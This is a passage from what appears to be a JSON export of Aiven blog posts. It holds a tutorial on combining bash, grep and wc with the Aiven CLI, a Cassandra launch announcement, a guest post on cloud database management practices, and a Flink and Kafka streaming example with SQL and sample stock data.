logs](#viewing-and-filtering-event-logs)\n* [AVN Help and miscellaneous options](#avn-help-and-miscellaneous-options)\n* [Creating aliases for regularly used commands](#creating-aliases-for-regularly-used-commands)\n* [Wrapping up](#wrapping-up)\n\n## Installing the Aiven CLI\nYou’ll need at least Python 3.7 or newer versions, with pip installed.\n\n```shell\npython -m pip install aiven-client\n```\n\nSee the [Aiven Client documentation](https://github.com/aiven/aiven-client) on Github for instructions for other platforms.\n\n## Logging in and logging out\n\n#### Login a user\n\n__NOTE: you’ll be prompted for your password.__\n\n```shell\navn user login \u003cuser@aiven.io\u003e\n```\n\n\u003e **Note:** we now recommend logging in with an access token (using the `--token` switch) - see [Log in to Aiven with `avn`](https://aiven.io/blog/aiven-cmdline#log-in-to-aiven-with-avn) in the 2022 article.\n\n#### Find help with user admin\n\n```shell\navn user -h\n```\n\n#### Get session/auth info on all users in your project\n\n```shell\navn user info\n```\n\n#### Logout\n\n```shell\navn logout\n```\n\n## Viewing clouds, services, regions and plans\n\n#### List all available services on Aiven\n```sh\navn service types\n```\n\n#### List all available clouds\n```sh\navn cloud list\n```\n\n#### List all available clouds in the United States\n```sh\navn cloud list | grep United\n```\n\n#### List the last 5 clouds alphabetically in the US\n```sh\navn cloud list | grep United | tail -5\n```\n\n#### List the first five clouds alphabetically in the US\n```sh\navn cloud list | grep United | head -5\n```\n\n#### List the first 20 clouds in the US region\n```shell\navn cloud list | grep United | head -20\n```\n\n#### List all clouds available in \"California\" region.\n\n__NOTE: writes a file (ca_clouds)__\n\n```shell\navn cloud list | grep -E \"California\" \u003e ca_clouds \u0026\u0026 cat ca_clouds\n```\n\n#### Exclude all clouds in Finland and California.\n__NOTE: writes to a file (not_ca_not_fi_clouds)__\n\n```\navn cloud list | grep -Ev \"California|Finland\" \u003e not_ca_not_fi_clouds \u0026\u0026 cat not_ca_not_fi_clouds\n```\n\n#### Count all clouds in a given region\n\n```\navn cloud list | grep -E \"California\" \u003e ca_clouds \u0026\u0026 wc -l ca_clouds\n```\n\n#### List clouds in successive alphabetical order by 3 specified regions\n\n```\nregions=('africa' 'australia' 'europe')\nfor r in \"${regions[@]}\"\ndo\n avn cloud list | grep $r\ndone\n```\n\n#### List all clouds filtered by a specific cloud provider within two regions\n\n```\nclear \u0026\u0026 avn cloud list | grep -E 'europe|north america' | grep 'aws-'\n```\n\n#### Count the total number of available Aiven clouds\n\n```\navn cloud list | grep -Ev 'CLOUD_DESCRIPTION|=' \u003e clouds_adjusted \u0026\u0026 wc -l clouds_adjusted\n```\n\n#### List all clouds, sorted alphabetically by provider\n\n```\nproviders=('aws-' 'azure-' 'do-' 'google' 'packet')\nfor p in \"${providers[@]}\"\ndo\n avn cloud list | grep $p\ndone\n```\n\n#### List all available plans, given the cloud\n\n```shell\navn service plans --cloud do-sfo\n```\n\n#### List all available hobbyist plans, given the cloud\n\n```shell\navn service plans --cloud do-sfo | grep -E 'hobbyist'\n```\n\n#### List all available kafka plans, given the cloud\n\n```shell\navn service plans --cloud do-sfo | grep -E 'kafka:'\n```\n\n#### List all available postgres and kafka plans within a specified cloud, filtered by CPU constraints\n\n```shell\nclear \u0026\u0026 avn service plans --cloud do-sfo | grep -E 'pg:|kafka:' | grep -E '8 CPU|16 CPU'\n```\n\n#### Count the number of available plans in a specific cloud\n\n```shell\navn service plans --cloud do-sfo | grep -E 'cassandra:|opensearch:|grafana:|influxdb:|kafka:|mysql:|pg:|redis:' \u003e plans_on_this_cloud \u0026\u0026 wc -l plans_on_this_cloud\n```\n\n#### Count all plans on a specific cloud with cost \u003c $10/hr\n\n```shell\navn service plans --cloud do-sfo | grep -Ev '\\$\\d\\d.\\d{3}/h' | grep -E 'cassandra:|opensearch:|grafana:|influxdb:|kafka:|mysql:|pg:|redis:' \u003e cheap_plans \u0026\u0026 wc -l cheap_plans\n```\n\n#### Make a nicely formatted text file of \u003c $10/hr plans on a specific cloud and display it\n\n```shell\navn service plans --cloud do-sfo | grep -Ev '\\$\\d\\d.\\d{3}/h' \u003e cheap_plans \u0026\u0026 cat cheap_plans\n```\n\n#### List all plans on a specific cloud with cost \u003c $10/hr\n\n```shell\nclear \u0026\u0026 avn service plans --cloud do-sfo | grep -Ev '\\$\\d\\d.\\d{3}/h' | more\n```\n\n#### List all plans on a specific cloud with cost \u003e $10/hr\n\n```shell\nclear \u0026\u0026 avn service plans --cloud do-sfo | grep -E '\\$\\d\\d.\\d{3}/h'\n```\n\n## Creating, viewing, powering on / off and deleting services\n\n#### Create an Postgres service on your default cloud with hobbyist plan\n\n```shell\navn service create mypg -t pg --plan hobbyist\n```\n\n#### Create a Cassandra instance with startup-4 plan\n\n```shell\navn service create mycass -t cassandra --plan startup-4\n```\n\n#### Create a Kafka instance in next higher tier\n\n```shell\navn service create mykafka -t kafka --plan business-4\n```\n\n#### Roll out multiple service instances on multiple tiers\n\n```shell\navn service create mycass -t cassandra --plan startup-4 \u0026\u0026 avn service create mykafka -t kafka --plan business-4\n```\n\n#### Upgrade an existing service to a higher tier\n\n```shell\navn service update mycass --plan startup-8\n```\n\n#### Upgrade an existing service to a higher tier AND move it to another cloud region\n\n```shell\navn service update mycass --plan startup-8 --cloud aws-us-west-1\n```\n\n#### List all of your available Aiven services\n\n```shell\navn service list\n```\n\n#### Power on multiple services\n\n```shell\navn service update myes1 --power-on \u0026\u0026 avn service update myes2 --power-on\n```\n\n#### List only services currently running\n\n```shell\navn service list | grep POWERON\n```\n\n#### List only services currently switched off\n\n```shell\navn service list | grep POWEROFF\n```\n\n#### Get only the latest timestamps (CREATE_TIME and UPDATE_TIME) for each currently rebuilding service\n\nThis command is useful for troubleshooting a slowly-restarting service.\n\n```shell\navn service list | grep REBUILDING | grep -Eo '\\d{4}-\\d\\d-\\d\\dT\\d\\d:\\d\\d:\\d\\d(.\\d{6})?((\\+\\d\\d:\\d\\d)|Z)'\n```\n\n#### Get the timestamps for your recently switched off services\n\n```shell\navn service list | grep POWEROFF | grep -Eo '\\d{4}-\\d\\d-\\d\\dT\\d\\d:\\d\\d:\\d\\d(.\\d{6})?((\\+\\d\\d:\\d\\d)|Z)'\n```\n\n#### Get the latest timestamps for currently running services\n\n```shell\navn service list | grep RUNNING | grep -Eo '\\d{4}-\\d\\d-\\d\\dT\\d\\d:\\d\\d:\\d\\d(.\\d{6})?((\\+\\d\\d:\\d\\d)|Z)'\n```\n\n#### Power off your service and list services\n\n```shell\navn service update myes --power-off \u0026\u0026 avn service list\n```\n\n#### Poweroff multiple service instances\n\n```shell\nservices=('mycass' 'mykafka' 'myes')\nfor s in \"${services[@]}\"\ndo\n avn service update $s --power-off\ndone\n```\n\n#### Terminate multiple service instances\n\n```shell\navn service terminate mycass \u0026\u0026 avn service terminate mykafka\n```\n\n## Viewing and filtering event logs\n\n#### Show all service events in your project\n\n```shell\navn events\n```\n\n#### Find 5 most recent events\n\n```shell\navn events | grep -Ev 'TIME|=' | head -5\n```\n\n#### Find service maintenance events\n\n```shell\navn events | grep -E '_maintenance'\n```\n\n#### Find service_delete events for your logged in project\n\n```shell\navn events | grep -E '_delete'\n```\n\n#### Count the number of lines in event log\n\n```shell\navn events | grep -Ev 'TIME|=' \u003e events \u0026\u0026 wc -l events\n```\n\n#### List all events related to powered on / off services\n\n```shell\navn events | grep power \u003e power_events \u0026\u0026 cat power_events\n```\n\n#### List all events not related to powered up or down services\n\n```shell\navn events | grep -Ev power \u003e live_events \u0026\u0026 cat live_events\n```\n\n## AVN help and miscellaneous options\n#### Get general AVN CLI help\n\n```shell\navn help\n```\n```shell\navn -h\n```\n\n#### Get help on a specific function\n\n```shell\navn card -h\n```\n```shell\navn cloud -h\n```\n```shell\navn credits -h\n```\n```shell\navn events -h\n```\n```shell\navn project -h\n```\n```shell\navn service -h\n```\n```shell\navn service create -h\n```\n\n#### List all credit cards associated with your project\n\n```shell\navn card list\n```\n\n#### List all available credits in your project\n\n```shell\navn credits list\n```\n\n#### List all of your current projects\n\n```shell\navn project list\n```\n\n#### Get project details, including associated credit card, billing address and country code\n\n```shell\navn project details\n```\n\n#### List all vpcs\n\n```shell\navn vpc list\n```\n\n## Creating aliases for regularly used commands\n\nIf you are using a command often, it might be useful to create an alias or a shell function for it. You can add these to ```.bashrc``` or to a shell script in your path. Here are some examples:\n\n#### List clouds in alphabetical order by 3 major regions\n\n```shell\nshow_my_clouds() {\nclear\nregions=('australia' 'europe' 'north')\nfor r in \"${regions[@]}\"\ndo\n avn cloud list | grep $r\ndone }\n```\n\n#### View plans on a specific cloud that cost \u003c $10/hr\n\n```shell\nget_cheap_plans() {\n clear \u0026\u0026 avn service plans --cloud do-sfo | grep -Ev '\\$\\d\\d.\\d{3}/h' | more\n}\n```\n\n#### Turn on a specific service\n\n```shell\nalias turnon_service='avn service update myes --power-on'\n```\n\n#### Turn off a specific service\n\n```shell\nalias turnoff_service='avn service update myes --power-off'\n```\n\n#### Get timestamps from all services\n\n```shell\nalias get_timestamps='avn service list | grep -Eo \"\\d{4}-\\d\\d-\\d\\dT\\d\\d:\\d\\d:\\d\\d(.\\d{6})?((\\+\\d\\d:\\d\\d)|Z)\"'\n```\n\n## Wrapping up\n\nIn this piece, we looked at many things you can do with the Aiven command-line interface (CLI) including installation and authentication, viewing clouds, services, regions and plans, working with event logs, getting help, and even creating aliases for frequently-used functions.\n\nWe hope that you'll find this not only helpful as a comprehensive primer for Aiven CLI, but also as a general, basic bash reference.\n\nAs mentioned before, our CLI is only one of many ways to interact with our globally-available, open source services. Want to try them out? Check out our [free 30 day trial](https://console.aiven.io/signup). To stay apace with new developments, you can also subscribe to our [blog](https://aiven.io/blog/feed.xml) and [changelog](https://aiven.io/changelog/feed.xml) RSS feeds, or follow us on [Twitter](https://twitter.com/aiven_io) or [LinkedIn](https://www.linkedin.com/company/aiven/)!\n","categories":[{"_key":"xf14JBMwWMJO4oL9NS3c9","_ref":"xf14JBMwWMJO4oL9NS3c9","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-ea322b80b7dd5defb69c60b9c268ca912fa81bc8-752x405-png","_type":"reference"}},"publishedAt":"2019-05-30T00:00:00.000Z","seo":{"metaDescription":"Got bash, grep, cat and wc and want the the simplest commands to select, run and administer your Aiven services? Learn how.","metaImage":{"alt":"","asset":{"_ref":"image-ea322b80b7dd5defb69c60b9c268ca912fa81bc8-752x405-png","_type":"reference"}},"metaTitle":"Using traditional Unix tools with the Aiven CLI"},"slug":{"_type":"slug","current":"/blog/command-line-magic-with-the-aiven-cli"},"subtitle":"Got bash, grep, cat and wc and want the the simplest commands to select, run and administer your Aiven services? Learn how.","title":"Using traditional Unix tools with the Aiven CLI"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"5HN8OpkEUfhQp3IeFL0JY5","_rev":"ZgPiUE9lJ1tcRKuFna2Cmb","_type":"post","_updatedAt":"2024-07-11T12:34:52Z","authors":[{"_key":"LFe7wYXE7xFFvwFXOIwwX","_ref":"LFe7wYXE7xFFvwFXOIwwX","_type":"reference"}],"body":"Aiven’s mission is to deliver the best open source database and messaging systems as easily consumable managed services to help organizations focus on their core application building efforts. With that in mind, we’re excited to launch Aiven for Apache Cassandra as our seventh service product.\n\nAiven for Apache Cassandra is ideal for use cases with large, active data sets that need to be queried in real-time or used for later analysis. For instance, it can be used for IoT applications as well as a data archive for later analysis.\n\nOffering standard plan sizes that can scale to 9-node clusters supported by custom plans for even greater workloads, Aiven for Cassandra users will be able to address heavy workloads that require tunable performance and consistency.\n\n### Building a data archicture with Aiven\n\nNot only are we one of the few providers of managed Cassandra, but we are the only provider that offers it in combination with 6 other complimentary, open-source services across six cloud platforms in over 70 regions across the world.\n\nCassandra also represents the next logical step towards Aiven’s goal of operating as the platform on top of which SMBs and enterprises build their data architectures. For example, let’s look at a typical modern data architecture:\n\n![schematic of data architecture](https://cdn.sanity.io/images/sczeoy4w/production/0cf44ec100f51e0ffe59fefd98380e906e0384b2-960x540.png)\n\nNow, let’s look at where Aiven services fit within that architecture:\n\n![schematic of data architecture with Aiven components](https://cdn.sanity.io/images/sczeoy4w/production/8e728173a02258d2d9aa538db9ad1e31350069b0-960x540.png)\n\n\n### Wrapping up\n\nAiven for Cassandra as a Service ensures that the underlying database systems fundamental to a data architecture can be deployed from Aiven. And, we aren’t finished. We’ll continue to refine our services and integrations.\n\nTo learn more about Cassandra and set up your first cluster in minutes, go to the [Aiven for Cassandra page](https://aiven.io/cassandra). And, be sure to subscribe to our [changelog](https://aiven.io/changelog/feed.xml) and [blog](https://aiven.io/blog/feed.xml) RSS feeds, as well as our [Linkedin](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to make sure that you always know the latest with Aiven!\n\n\n## Further reading\n\n- [Migrate your Apache Cassandra® data into Aiven with sstableloader](https://aiven.io/blog/aiven-now-supports-sstableloader)","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"SDuPFTXa2dgBEl8OCxZRn","_ref":"SDuPFTXa2dgBEl8OCxZRn","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-e0d447bc50ae904168cd65c4a410e69dd3f41387-752x405-png","_type":"reference"}},"publishedAt":"2018-11-08T00:00:00.000Z","seo":{"metaDescription":"Aiven for Apache Cassandra® is now generally available. Read this to see how it sets the foundation for building your data architecture with Aiven.","metaImage":{"alt":"","asset":{"_ref":"image-e0d447bc50ae904168cd65c4a410e69dd3f41387-752x405-png","_type":"reference"}},"metaTitle":"Aiven for Apache Cassandra® is now generally available"},"slug":{"_type":"slug","current":"/blog/aiven-cassandra-is-now-generally-available"},"subtitle":"Aiven for Apache Cassandra® is now generally available. Read this to see how it sets the foundation for building your data architecture with Aiven.","title":"Aiven for Apache Cassandra® is now generally available"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"6C3u3uBahQCfx4Atonkg03","_rev":"ZgPiUE9lJ1tcRKuFnZDQuD","_type":"post","_updatedAt":"2024-07-11T08:14:55Z","authors":[],"body":"In a world in which information has become a critical currency for individual, organizational, and global advancement, databases have turned into data bank accounts. Like regular bank accounts, databases require proper security and maintenance.\n\nWhile databases can be operated on-premise, [95% of U.S-based](https://it-trends.solarwinds.com/) organizations have chosen to migrate most of their applications and infrastructure to the cloud. A cloud database contains data, either in structured or unstructured formats and can be located on a [public, private or hybrid cloud platform](https://aiven.io/blog/public-v-private-clouds-whats-the-difference \"Public v. private clouds - what’s the difference?\").\n\nAs the global exchange of data grows exponentially with the [number of devices](https://it-trends.solarwinds.com/) and systems that transmit and create data, the strain on databases increases. The more data the organization acquires, the more controls are needed to operate the flow of data.\n\n## What is database management?\n\nDatabase management encompasses any action taken for the purpose of organizing, maintaining, and analyzing data processes. [Database management](https://www.thebalancecareers.com/database-administrator-job-description-salary-and-skills-2061775) helps organizations control data and give it meaning at any stage of the data lifecycle.\n\nDatabase management tasks often cover some or all of the following objectives:\n\n* __Performance__—monitor the performance of data-driven applications.\n* __Storage optimization__—plan and monitor data storage capacity.\n* __Efficiency__—monitor data through all the lifecycle stages and optimize for efficiency.\n* __Security__—implement security controls to protect the data such as encryption and tokenization.\n* __Privacy__—protect sensitive data and ensure compliance with data regulations.\n* __Analysis__—integrate with big data tools to generate business intelligence reports.\n\nNowadays, database management systems cover many tasks and compliment the overall data infrastructure of the organization. Organizations can choose a ready-made database management system, or create a customized solution according to their requirements.\n\n## The 5 best management practices\nTo effectively develop, monitor, and manage the database infrastructure, organizations often implement a number of methods. Usually, the organization uses one or more database management system ([DBMS](https://searchsqlserver.techtarget.com/definition/database-management-system)) software programs that serve as the core foundation of the data infrastructure.\n\nThe [two most popular open source database management systems](https://db-engines.com/en/ranking) are:\n\n* __MySQL__—a relational database management system (RDBMS) that organizes related data in a row-based table structure.\n* __PostgreSQL__—an object-relational database management system (ORDBMS) organizes data according to objects and classes.\n\nWhile the two systems have free versions, organizations looking for added functionalities can choose from the various enterprise versions of MySQL, or one of the available [Postgres management](https://www.enterprisedb.com/products/postgres-enterprise-manager-best-gui-tools-database-management) solutions.\n\n### 1. Design a cloud data management strategy\nA cloud data management strategy serves as a roadmap that illustrates all the components in the overall cloud data management infrastructure.\n\nThe ideal would be to create a strategy before migrating any organizational resources to the cloud, to ensure that the cloud architecture fits the needs of the organization. While one organization may benefit from a quick architecture such as the [“lift and shift”](https://nethosting.com/7-best-practices-to-build-a-cloud-migration-strategy/), others may prefer to scale on a budget through the “drop and shop” architecture.\n\nA cloud data management strategy contains the fundamental principals of the management of the data and can help organizations standardize every aspect of data management. From performance, efficiency, security, and privacy, to analysis and [business intelligence](https://searchbusinessanalytics.techtarget.com/definition/business-intelligence-BI) (BI). Once you set up a strategy for the ongoing operations of the data, control becomes an integrated cog in your data machine.\n\n### 2. Encrypt and tokenize data at rest\nThe term data at rest refers to inactive data that lies unused in storage. While inactive data may not seem important enough to warrant information security expenses, data at rest is often targeted by cybercriminals. Data at rest contains information that may expose the location of sensitive information such as personal and financial information, healthcare information, and trade secrets.\n\nOrganizations can implement two measures of security methods to protect data at rest:\n\n* __Encryption__—[prevents unauthorized parties](https://www.techworld.com/security/what-is-encryption-3659671/) from using the data by rendering it illegible.\n* __Tokenization__—replaces sensitive data with [tokens](https://www.tokenex.com/resource-center/what-is-tokenization) that have no meaning.\n\n### 3. Secure data with identity and access management (IAM)\nIdentity and access management (IAM) standardizes the procedures the organization implements to ensure only authorized parties can gain [access to company-owned resources](https://www.techworld.com/security/uks-most-infamous-data-breaches-3604586/).\n\nIAM enables the management of user roles according to the following criteria:\n* __Role__—who is the user?\n* __Access__—what systems can the user gain access to?\n* __Privileges__—what level of use is the user allowed?\n* __Behavior__—under which circumstances a user will be denied access?\n\nIAM provides organizations with the control needed to ensure data is secure from unauthorized parties. IAM helps companies prevent the [theft of trade secrets](https://www.csoonline.com/article/3263799/insider-threat-examples-7-insiders-who-breached-security.html) by stripping ex-employees of their privileges. Additionally, a company can use IAM to protect against outward attacks by setting up controls that prevent cybercriminals from gaining access to the data. Examples of dedicated IAM tools:\n\n* __Active Directory (AD)__—a popular directory service offered by [Microsoft](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/get-started/virtual-dc/active-directory-domain-services-overview).\n* __Biometric authentication__—grants or denies access to privileges based on biometric characteristics such as iris and retina, fingerprints, and facial features.\n\n### 4. Protect data in transit with encryption and VPN\nThe term [data in transit](https://www.sciencedirect.com/topics/computer-science/data-in-transit) refers to data that actively moves between locations across networks, storage repositories, and the Internet. While the data travels from one location to another it is vulnerable to attacks. Cybercriminals can intercept the data during that time and steal valuable information. Here are the two common methods of protecting data in transit:\n\n* __Encryption__—you can encrypt the data before moving it, use encrypted connections such as [HTTPS](https://www.expressvpn.com/blog/https-vs-vpn/?gclid=Cj0KCQjwtMvlBRDmARIsAEoQ8zSlUkCPaEHSpHFpYhCkJdqf4eW-GMSLXyo4-6leDi9kWERjRFlrpjIaAoejEALw_wcB) and SSL for secure data transit, or preferably cover all bases by implementing both methods.\n* __Virtual Private Networks (VPN)__—serve as secure digital tunnels for the online transit of data between locations. VPNs often combine multiple encrypted connections and encryption protocols to create secure virtual Peer to Peer (P2P) connections. Organizations can either use a VPN software or create their own [VPN tunnels](https://gizmodo.com/vpns-what-they-do-how-they-work-and-why-youre-dumb-f-5990192).\n\n### 5. Monitor database management tasks with automation\nDelegating database management tasks to automation systems help data professionals prioritize tasks in an efficient manner. Instead of performing low-level tasks, database professionals can set up an automation system that clears up time and energy for the more important and complex areas of their work. Automation can be configured to a variety of objectives, such as:\n\n* __Reporting__—set up a [reporting system](https://www.sisense.com/blog/automated-reporting-or-bi/) that sends you alerts when specific behaviors are triggered.\n* __Database testing__—replace manual tests with automation features that monitor database schema, data integrity, and perform repetitive database testing cycles.\n* __Integration__—create an automation system for [repeated integration tasks](https://searchitchannel.techtarget.com/feature/How-to-automate-database-integration).\n\nDifferent database Management systems offer different features and levels of customization. Ensure you choose a system that fits your needs and integrates well with your resources.\n\n## Wrapping up\nDatabase management is a complex but rewarding job. Done right, database management can provide a comprehensive solution for maintaining, protecting, and [analyzing](https://segment.com/blog/choosing-a-database-for-analytics/) the company data. Better database management translates into better analytics.\n\nDatabase management is in charge of sorting through the vast amounts of data and turning it into meaningful and useful information that helps increase sales, improve productivity, and promote innovation.\n\n[![Adeo-CaseStudy-CTA](//cdn.sanity.io/images/sczeoy4w/production/9d3cb0ef137e1e9ee9fb7066b25baf316bb01957-1600x471.jpg)](https://aiven.io/case-studies/aiven-cloud-helps-adeo)\n\n## Further reading\n- [Data security compliance in the cloud](https://aiven.io/blog/data-security-compliance-in-the-cloud \"Data security compliance in the cloud\") - how Aiven approaches security issues.\n\n- [Time travel: two-dimensional time with bitemporal data](https://aiven.io/blog/two-dimensional-time-with-bitemporal-data)","categories":[{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-bb03ec27dd22355e1793f7be9c829b3e1a735ccf-752x405-png","_type":"reference"}},"publishedAt":"2019-05-17T00:00:00.000Z","related":[{"_key":"6885f6e4cc96","_ref":"6OgPe0wSeGI2LFRzkDXfzm","_type":"reference"},{"_key":"7ae5047aa931","_ref":"1Ra2d6bJ8rmAaOIoRQafNS","_type":"reference"},{"_key":"9682aebd2ee4","_ref":"Ly347MEMMfb0RG0hpKNiv","_type":"reference"}],"seo":{"metaDescription":"Check out this blog post from our guest writer, Gilad David Maayan, covering 5 best practices for cloud database management.","metaImage":{"alt":"","asset":{"_ref":"image-bb03ec27dd22355e1793f7be9c829b3e1a735ccf-752x405-png","_type":"reference"}},"metaTitle":"5 best practices for cloud database management"},"slug":{"_type":"slug","current":"/blog/5-best-practices-for-cloud-database-management"},"subtitle":"Check out this blog post from our guest writer, Gilad David Maayan, covering 5 best practices for cloud database management.","title":"5 best practices for cloud database management"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"6Try3Yao44IvWVZPip4pzx","_rev":"YaKEzcVhnb7P0fmfvPXzjI","_type":"post","_updatedAt":"2024-08-05T11:36:40Z","authors":[{"_key":"3gY7BY02heuVTQu1HRmMy6","_ref":"3gY7BY02heuVTQu1HRmMy6","_type":"reference"}],"body":"\u003e__Update / February 2023: Aiven for Apache Flink is generally available! [Read more in our blog.](https://aiven.io/blog/aiven-for-apache-flink-generally-available)__\n\nApache Kafka® and Apache Flink can now support real-time data processing and streaming analytics! No code to write, only simple SQL Statements in Flink. You can have multiple sources or sinks of incoming data or processed data that are integrated into one Flink service.\n\n## Why you should use Flink\nFlink is an open source tool that an enterprise can use for collaboration while still maintaining rigorous data governance. With Flink, engineers don’t have to build pipelines for each type of data separately. Instead, the data can be made available for teams and applications across the organisation with Flink jobs. \n\n### Data made to measure\nWith Flink jobs, you can [filter](https://aiven.io/docs/products/flink/howto/real-time-alerting-solution.html#create-a-pipeline-for-basic-filtering \"Create a pipeline for basic filtering | Aiven Developer\"), [window](https://aiven.io/docs/products/flink/howto/real-time-alerting-solution.html#create-a-pipeline-with-windowing \"Create a pipeline for windowing | Aiven Developer\"), or enrich data according to the needs of the organisation. This data can then be passed on to other systems for storage or processing.\n\n### Fail fast, succeed faster\n[Adding new jobs via Aiven Console](https://aiven.io/docs/products/flink/howto \"Create job | Aiven Developer\") is easy and quick, which gives you more options for data handling. This makes Flink an ideal platform to run data experiments on. \n\n### Resilient data pipelines with Apache Flink\nFlink offers a Highly Available platform for deploying data pipelines. Flink is configured with cluster restart strategy on fault tolerance, all Aiven business plans come with multi-nodes clusters that are highly available with automatic failover. More details explained [here](https://aiven.io/docs/products/flink/concepts).\n\n### Microservices aren’t everything\nWere you thinking of meeting organisational data needs with microservices? While that’s not a bad idea, note that with Flink, there’s no code to maintain, deploy or execute. That means less complexity, lower cost, quicker time-to-market, and resource savings. \n\n### Simple with a complex twist\nFlink makes complex SQL joins and data windowing easy with its [windows](https://aiven.io/docs/products/flink/concepts/windows.html \"Windows | Aiven Developer\") and [watermarks](https://aiven.io/docs/products/flink/concepts/watermarks.html \"Watermarks | Aiven Developer\"); state is maintained in the Flink job.\n\nIn the following example, we have a table requests that collects web request access timestamps, we are going to query the number of requests per hour using PostgresSQL vs. Flink.\n\nIn PostgreSQL, you have to \n\n```\nwith hours as (\n select generate_series(\n date_trunc('hour', now()) - '1 day'::interval,\n date_trunc('hour', now()),\n '1 hour'::interval\n ) as hour\n)\n\nselect\n hours.hour,\n count(requests.id)\nfrom hours\nleft join requests on date_trunc('hour', requests.accesstime) = hours.hour\ngroup by 1\n```\n... whereas in Flink you can\n\n```\n SELECT\n hour,\n count(id)\n FROM requests\n GROUP BY symbol, TUMBLE(accesstime, INTERVAL '1' HOUR) \n```\n\n## Putting Flink to the test\nLet's take a look at a real use case to show an end-to-end solution. This one simulates the processing of stock exchange data with Flink and Apache Kafka. \n\nIn the example, Python code generates stock exchange data into a Kafka topic. Flink then picks it up, processes it, and places the processed data into another Kafka topic.\n\n![Python, Kafka and Flink](//cdn.sanity.io/images/sczeoy4w/production/e52fc7c25ba89e7c6ff77ca038501e0ab3b21b66-937x379.png)\n\nThe following Flink query would do all this:\n- calculate the difference between maximum and minimum bid price\n- ask for the price of the equity tick data (stocks) over a time period \n- track intervals of the stock during the specified time window (in this example, it is set to 9 seconds so the data flowing quicker within seconds for demonstration)\n\n```\n INSERT INTO ${aiven_flink_table.sink.table_name}\n SELECT\n symbol,\n max(bid_price)-min(bid_price),\n max(ask_price)-min(ask_price),\n min(bid_price),\n max(bid_price),\n min(ask_price),\n max(ask_price),\n TIMESTAMPDIFF(SECOND, min(ts_ltz),max(ts_ltz)),\n CURRENT_TIMESTAMP\n FROM ${aiven_flink_table.source.table_name}\n GROUP BY symbol, TUMBLE(ts_ltz, INTERVAL '9' SECOND)\n```\n\nBut don’t take our word for it. To see this solution running live, take [this code example](https://github.com/aiven/aiven-examples/tree/master/solutions/flink-kafka \"Flink-Kafka demo | GitHub\"). Set up Python 3 and Terraform, then follow the instructions. All it takes is a few commands for you to see the processed data.\n\nProducer Example (generated stock data):\n```\n{\"symbol\": \"M3\", \"bid_price\": 16.89, \"ask_price\": 15.46, \"time_stamp\": 1637977977021}\n{\"symbol\": \"KAFKA\", \"bid_price\": 891.25, \"ask_price\": 891.75, \"time_stamp\": 1637977977046}\n{\"symbol\": \"MYSQL\", \"bid_price\": 667.94, \"ask_price\": 669.31, \"time_stamp\": 1637977977072}\n{\"symbol\": \"PSQL\", \"bid_price\": 792.25, \"ask_price\": 793.62, \"time_stamp\": 1637977977096}\n{\"symbol\": \"INFLUX\", \"bid_price\": 24.43, \"ask_price\": 24.79, \"time_stamp\": 1637977977124}\n{\"symbol\": \"REDIS\", \"bid_price\": 12.87, \"ask_price\": 12.57, \"time_stamp\": 1637977977150}\n{\"symbol\": \"REDIS\", \"bid_price\": 13.33, \"ask_price\": 12.26, \"time_stamp\": 1637977977178}\n{\"symbol\": \"REDIS\", \"bid_price\": 11.54, \"ask_price\": 11.29, \"time_stamp\": 1637977979703}\n{\"symbol\": \"OS\", \"bid_price\": 9.49, \"ask_price\": 10.3, \"time_stamp\": 1637977979731}\n{\"symbol\": \"INFLUX\", \"bid_price\": 24.44, \"ask_price\": 24.27, \"time_stamp\": 1637977979757}\n{\"symbol\": \"CQL\", \"bid_price\": 22.67, \"ask_price\": 21.61, \"time_stamp\": 1637977979788}\n{\"symbol\": \"OS\", \"bid_price\": 10.09, \"ask_price\": 10.49, \"time_stamp\": 1637977979813}\n{\"symbol\": \"CQL\", \"bid_price\": 22.06, \"ask_price\": 21.28, \"time_stamp\": 1637977979839}\n{\"symbol\": \"MYSQL\", \"bid_price\": 670.94, \"ask_price\": 669.85, \"time_stamp\": 1637977979864}\n{\"symbol\": \"PSQL\", \"bid_price\": 792.77, \"ask_price\": 792.24, \"time_stamp\": 1637977979889}\n```\n\nConsumer Example (processed stock data):\n\n```\nReceived: b'{\"symbol\":\"PSQL\",\"change_bid_price\":0,\"change_ask_price\":0,\"min_bid_price\":777.12,\"max_bid_price\":777.12,\"min_ask_price\":778.09,\"max_ask_price\":778.09,\"time_interval\":0,\"time_stamp\":\"2021-11-27 01:52:33.744\"}'\nReceived: b'{\"symbol\":\"INFLUX\",\"change_bid_price\":2.25,\"change_ask_price\":2.02,\"min_bid_price\":23.96,\"max_bid_price\":26.21,\"min_ask_price\":24.66,\"max_ask_price\":26.68,\"time_interval\":0,\"time_stamp\":\"2021-11-27 01:52:33.744\"}'\nReceived: b'{\"symbol\":\"M3\",\"change_bid_price\":0,\"change_ask_price\":0,\"min_bid_price\":26.57,\"max_bid_price\":26.57,\"min_ask_price\":25.9,\"max_ask_price\":25.9,\"time_interval\":0,\"time_stamp\":\"2021-11-27 01:52:33.744\"}'\nReceived: b'{\"symbol\":\"REDIS\",\"change_bid_price\":0,\"change_ask_price\":0,\"min_bid_price\":13.3,\"max_bid_price\":13.3,\"min_ask_price\":14.48,\"max_ask_price\":14.48,\"time_interval\":0,\"time_stamp\":\"2021-11-27 01:52:33.745\"}'\nReceived: b'{\"symbol\":\"OS\",\"change_bid_price\":1.52,\"change_ask_price\":1.92,\"min_bid_price\":19.04,\"max_bid_price\":20.56,\"min_ask_price\":18.61,\"max_ask_price\":20.53,\"time_interval\":0,\"time_stamp\":\"2021-11-27 01:52:33.745\"}'\nReceived: b'{\"symbol\":\"OS\",\"change_bid_price\":1.74,\"change_ask_price\":2.27,\"min_bid_price\":15.24,\"max_bid_price\":16.98,\"min_ask_price\":14.45,\"max_ask_price\":16.72,\"time_interval\":2,\"time_stamp\":\"2021-11-27 01:52:42.358\"}'\nReceived: 